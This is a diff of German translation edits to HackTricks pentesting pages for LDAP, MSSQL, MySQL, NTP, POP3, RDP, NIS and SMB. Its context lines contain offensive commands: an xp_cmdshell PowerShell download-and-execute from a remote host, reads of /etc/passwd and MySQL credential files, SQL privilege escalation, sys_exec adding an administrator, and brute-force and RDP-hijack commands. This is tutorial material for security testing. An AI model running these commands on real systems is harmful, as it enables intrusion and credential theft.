Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert sowie mehrere andere spezialisierte Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw.
![](../images/godap.png)
@ -310,7 +310,7 @@ Wenn Sie auf die Dateien zugreifen können, in denen die Datenbanken enthalten s
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Sie können john mit dem Passwort-Hash (von '{SSHA}' bis 'structural' ohne 'structural' hinzuzufügen) füttern.
Sie können John mit dem Passwort-Hash (von '{SSHA}' bis 'structural' ohne 'structural' hinzuzufügen) füttern.
### Konfigurationsdateien
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -17,7 +17,7 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst.
- **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs.
- **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden.
- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte werden physisch in der Resource-Datenbank gespeichert, sind jedoch logisch im sys-Schema jeder Datenbank dargestellt.
- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert.
- **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate.
## Aufzählung
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind.
> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlerhaft anmelden.
#### Metasploit (benötigt Anmeldeinformationen)
```bash
@ -278,7 +278,7 @@ Sie können sehen, wie man diese Tools verwendet in:
### Missbrauch von MSSQL vertrauenswürdigen Links
[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu finden, wie man diese Funktion missbraucht:**
[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu finden, wie man diese Funktion missbrauchen kann:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Datei mit** OPENROWSET **lesen**
Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien im Betriebssystem, auf die das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden:
Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien in jedem Dateisystem, auf das das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -366,7 +366,7 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Für **weitere Beispiele** schauen Sie sich die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) an.
Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
@ -438,7 +438,7 @@ Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen
### Von db_owner zu sysadmin
Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können.
Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Berechtigungen missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt wurden, als der Eigentümer (**Admin**) **ausgeführt** werden können.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -472,7 +472,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Sie können ein **metasploit** Modul verwenden:
Sie können ein **metasploit**-Modul verwenden:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -482,7 +482,7 @@ Oder ein **PS**-Skript:
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Nachahmung anderer Benutzer
### Identitätsübernahme anderer Benutzer
SQL Server hat eine spezielle Berechtigung, die **`IMPERSONATE`** genannt wird, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder Logins zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet.
```sql
@ -535,23 +535,23 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um eine größere Kontrolle über das Ziel zu erlangen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords).
Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf der Maschine haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten.
Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten.
Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die Folgendes sind:
Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die wie folgt sind:
1. Aktivieren Sie TCP/IP auf den SQL Server-Instanzen;
2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist.
3. Aktivieren Sie die Remote-Admin-Verbindung.
Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.
Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.
Für weitere Informationen siehe die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Fehlerbehebung der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Fehlerbehebung bei der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Lokale Privilegieneskalation
Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\
Der Benutzer, der den MSSQL-Server ausführt, hat das Privilegstoken **SeImpersonatePrivilege** aktiviert.\
Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen:
{{#ref}}
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## **Grundinformationen**
## **Grundlegende Informationen**
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die die Verwaltung und Manipulation von Datenbanken ermöglicht.
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die das Management und die Manipulation von Datenbanken ermöglicht.
**Standardport:** 3306
```
@ -17,7 +17,7 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Fernzugriff
### Remote
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```
Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL Datei RCE
### MySQL File RCE
{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
@ -116,7 +116,7 @@ Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Beachten Sie das Wort "local")\
(Wenn Sie das Wort "local" beachten)\
Denn ohne das "local" können Sie Folgendes erhalten:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -144,11 +144,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:
- Die **`user`**-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird.
- Die **`user`**-Einstellung wird verwendet, um den Benutzer festzulegen, unter dem der MySQL-Dienst ausgeführt wird.
- **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
- **`admin_address`** gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.
- Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen.
- **`sql_warnings`** verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
- **`sql_warnings`** verwaltet, ob Informationszeichenfolgen für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
- Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.
### Privilegieneskalation
@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extrahieren von MySQL-Anmeldeinformationen aus Dateien
In _/etc/mysql/debian.cnf_ finden Sie das **Klartext-Passwort** des Benutzers **debian-sys-maint**.
In _/etc/mysql/debian.cnf_ finden Sie das **Klartext-Passwort** des Benutzers **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
@ -224,13 +224,13 @@ Sie können **diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenba
In der Datei: _/var/lib/mysql/mysql/user.MYD_ finden Sie **alle Hashes der MySQL-Benutzer** (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können)_._
Sie können sie extrahieren, indem Sie Folgendes tun:
Sie können sie extrahieren, indem Sie:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Aktivierung des Loggings
### Aktivierung der Protokollierung
Sie können das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
Sie können die Protokollierung von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
![](<../images/image (899).png>)
@ -258,7 +258,7 @@ Konfigurationsdateien
- update.log
- common.log
## Standard MySQL-Datenbank/Tabellen
## Standard MySQL-Datenbank/-Tabellen
{{#tabs}}
{{#tab name="information_schema"}}
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Grundinformationen
Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wichtig, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird.
Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wesentlich, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird.
### Zusammenfassung & Sicherheitstipps:
@ -13,7 +13,7 @@ Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkger
- **Sicherheitsmaßnahmen**:
- Verwenden Sie vertrauenswürdige NTP-Quellen mit Authentifizierung.
- Beschränken Sie den Netzwerkzugang zum NTP-Server.
- Überwachen Sie die Synchronisierung auf Anzeichen von Manipulation.
- Überwachen Sie die Synchronisation auf Anzeichen von Manipulation.
**Standardport:** 123/udp
```
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Wie NTP DDoS-Angriffe funktionieren**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die anfangs klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird.
Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird.
Der _**MONLIST**_-Befehl, obwohl er selten verwendet wird, kann die letzten 600 Clients melden, die mit dem NTP-Dienst verbunden sind. Während der Befehl selbst einfach ist, hebt sein Missbrauch in solchen Angriffen kritische Sicherheitsanfälligkeiten hervor.
```bash
@ -64,7 +64,7 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap

View File

@ -11,9 +11,9 @@
PORT STATE SERVICE
110/tcp open pop3
```
## Aufzählung
## Enumeration
### Banner-Erfassung
### Banner Grabbing
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
@ -26,7 +26,7 @@ Sie können den Befehl `CAPA` verwenden, um die Fähigkeiten des POP3-Servers zu
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Das `pop3-ntlm-info` Plugin gibt einige "**sensible**" Daten zurück (Windows-Versionen).
Das `pop3-ntlm-info` Plugin gibt einige "**sensible**" Daten (Windows-Versionen) zurück.
### [POP3 Bruteforce](../generic-hacking/brute-force.md#pop)
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Beispiel:
Please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
```
## Protokollierung von Passwörtern
POP-Server mit der Einstellung **`auth_debug`** aktiviert, werden die generierten Protokolle erhöhen. Wenn jedoch **`auth_debug_passwords`** oder **`auth_verbose_passwords`** auf **`true`** gesetzt sind, könnten Passwörter auch im Klartext in diesen Protokollen protokolliert werden.
POP-Server mit der Einstellung **`auth_debug`** aktiviert, werden die erzeugten Protokolle erhöhen. Wenn jedoch **`auth_debug_passwords`** oder **`auth_verbose_passwords`** auf **`true`** gesetzt sind, könnten Passwörter auch im Klartext in diesen Protokollen protokolliert werden.
## HackTricks Automatische Befehle
```
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -2,17 +2,16 @@
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen
## Grundinformationen
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
**Standardport:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Aufzählung
## Enumeration
### Automatisch
```bash
@ -33,7 +32,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Mit bekannten Anmeldeinformationen/Hashes verbinden
### Mit bekannten Anmeldeinformationen/Hash verbinden
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
@ -60,7 +59,7 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie müssen einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren.
Jetzt sind Sie in der ausgewählten RDP-Sitzung und müssen einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren.
**Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
@ -77,9 +76,9 @@ ts::remote /id:2 #Connect to the session
Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.
Sie können RDPs suchen, die bereits mit einer dieser Techniken zurückgesetzt wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Sie können RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP-Prozessinjektion
### RDP Process Injection
Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **Sie Admin sind**, können Sie Ihr Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln:
@ -87,7 +86,7 @@ Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen ü
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### Benutzer zur RDP-Gruppe hinzufügen
### Hinzufügen eines Benutzers zur RDP-Gruppe
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
@ -116,7 +115,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -38,7 +38,7 @@ Die Erkundung von **NIS**-Schwachstellen umfasst einen zweistufigen Prozess, der
![](<../images/image (859).png>)
Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei sichergestellt wird, dass diese Elemente aus Sicherheitsgründen anonymisiert sind.
Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei diese Elemente aus Sicherheitsgründen anonymisiert werden.
Der letzte und entscheidende Schritt umfasst den Befehl `ypcat`, um sensible Daten, insbesondere verschlüsselte Benutzerpasswörter, zu extrahieren. Diese Hashes, die mit Tools wie **John the Ripper** geknackt werden, geben Einblicke in den Systemzugang und die Berechtigungen.
```bash
@ -51,12 +51,12 @@ ypcat d <domain-name> h <server-ip> passwd.byname
```
### NIF-Dateien
| **Master-Datei** | **Karte(n)** | **Hinweise** |
| ------------------ | ----------------------------- | ------------------------------------ |
| /etc/hosts | hosts.byname, hosts.byaddr | Enthält Hostnamen und IP-Details |
| /etc/passwd | passwd.byname, passwd.byuid | NIS-Benutzerpasswortdatei |
| **Master-Datei** | **Karte(n)** | **Notizen** |
| ------------------ | ----------------------------- | ----------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Enthält Hostnamen und IP-Details |
| /etc/passwd | passwd.byname, passwd.byuid | NIS-Benutzerpasswortdatei |
| /etc/group | group.byname, group.bygid | NIS-Gruppendatei |
| /usr/lib/aliases | mail.aliases | Details zu Mail-Aliasen |
| /usr/lib/aliases | mail.aliases | Details zu Mail-Aliasen |
## RPC-Benutzer
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -4,7 +4,7 @@
## **Port 139**
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -18,21 +18,21 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC
```
### SMB
Das **Server Message Block (SMB)** Protokoll, das in einem **Client-Server** Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Primär innerhalb der **Windows** Betriebssystemreihe genutzt, gewährleistet SMB die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba** Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux** und Unix-Systemen ermöglicht und somit die plattformübergreifende Kommunikation über SMB erleichtert.
Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert.
